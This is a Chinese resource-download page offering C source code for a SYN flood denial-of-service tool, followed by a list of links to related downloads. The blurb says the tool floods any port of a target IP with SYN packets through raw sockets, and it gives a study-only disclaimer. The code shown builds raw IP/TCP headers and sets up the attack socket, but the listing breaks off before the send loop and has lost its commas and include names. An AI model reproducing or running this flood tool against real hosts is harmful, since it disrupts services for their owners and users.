资源简介
SYN flood源代码,可对指定IP的任意端口快速发生SYN数据包,代码利用原始Socket直接操作网络层。
由于微软在XP SP2(包括SP2)以上系统禁止原始SOCKET发生TCP和含无效IP的UDP数据包,所以建议运行在Server 2003。代码仅供学习使用,切莫非法活动。
代码片段和文件信息
#include
#include
#include
#include
#include
#include
#pragma comment(lib “ws2_32.lib“)
#define MAX_RECEIVEBYTE 255
typedef struct ip_head //定义IP首部
{
unsigned char h_verlen; //4位首部长度4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位 (如SYNACK,等)
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (如ICMP,TCP等)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IPHEADER;
typedef struct tcp_head //定义TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度/6位保留字
unsigned char th_flag; //6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCPHEADER;
typedef struct tsd_head //定义TCP伪首部
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //协议类型
unsigned short tcpl; //TCP长度
}PSDHEADER;
//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
//Delay_time单位为毫秒。
int main(int argc char* argv[])
{
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN addr_in;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
PSDHEADER psdHeader;
int SourcePort;
char szSendBuf[60]={0};
BOOL flag;
int rectnTimeOver;
int sleeptime;
printf(“***********************************************************\n“);
printf(“SYN_FLOOD\n“);
printf(“Parameter: FLOOD Target_ip Target_port Delay_time\n“);
printf(“***********************************************************\n“);
if (argc < 3 || argc >4 )
{ printf(“input error! “);
return false; }
if (argc==4) sleeptime=atoi(argv[3]);
else sleeptime=300;
if (WSAStartup(MAKEWORD(22) &WSAData)!=0)
{
printf(“WSAStartup Error!“);
return false;
}
sock=NULL;
if ((sock=socket(AF_INETSOCK_RAWIPPROTO_IP))==INVALID_SOCKET)
{
printf(“Socket Setup Error!“);
return false;
}
flag=true;
if (setsockopt(sockIPPROTO_IP IP_HDRINCL(char *)&flagsizeof(flag))==SOCKET_ERROR)
{
printf(“setsockopt IP_HDRINCL error!“);
return false;
}
nTimeOver=1000;
if (setsockopt(sock SOL_SOCKET SO_SNDTIMEO (char*)&nTimeOver sizeof(nTimeOver))==SOCKET_ERROR) //设置发送的时间
{
printf(“setsockopt SO_SNDTIMEO error!“);
return false;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(atoi(argv[2]));
addr_in.s
- 上一篇:水波干涉模拟程序
- 下一篇:C++经典练习例题200例
相关资源
- C++经典练习例题200例
- springsnail项目源码
- 基于c++的RSA加密解密程序及源码
- stm32_Cjson源码
- CGridListCtrlEx源码vc++
- 语音识别系统源码
- 四种VC表格控件源码
- ftp的C++源码实现,可以进行文件传输
- cocos2dx 3.17 2048游戏的源码
- 计算机组成原理booth算法C源码
- 异步网络通信 用C++
- MSP430单片机秒表程序完整 完整C语言代
- DES五种加密模式(MFC实现) 源码
- 员工工管理系统,C语言,源码,200
- c语言贪吃蛇游戏双人对战版源码
- IPMSG飞鸽传书源代码,linux-c语言,有
- 基于51单片机的智能晾衣架
- 五子棋MFC源码及注释.
- C语言经典编程282例源码+随书光盘
- MFC电梯仿真模拟源码超酷
- TI SHA_256 源码及例程
- Lan P2P Phone(用于局域网内各PC之间的
- 防火墙源码用C++编写
- C++截图、抓屏程序
- kdtree的源码C语言版
- C语言程序300集(pdf,清晰)
- linux局域网聊天软件server+client 源码
- C++ 高效 屏幕找图 函数源码 终极版
- 获取网络时间校正本地系统时间,C
- windows下 c++实现ping地址源码两种
评论
共有 条评论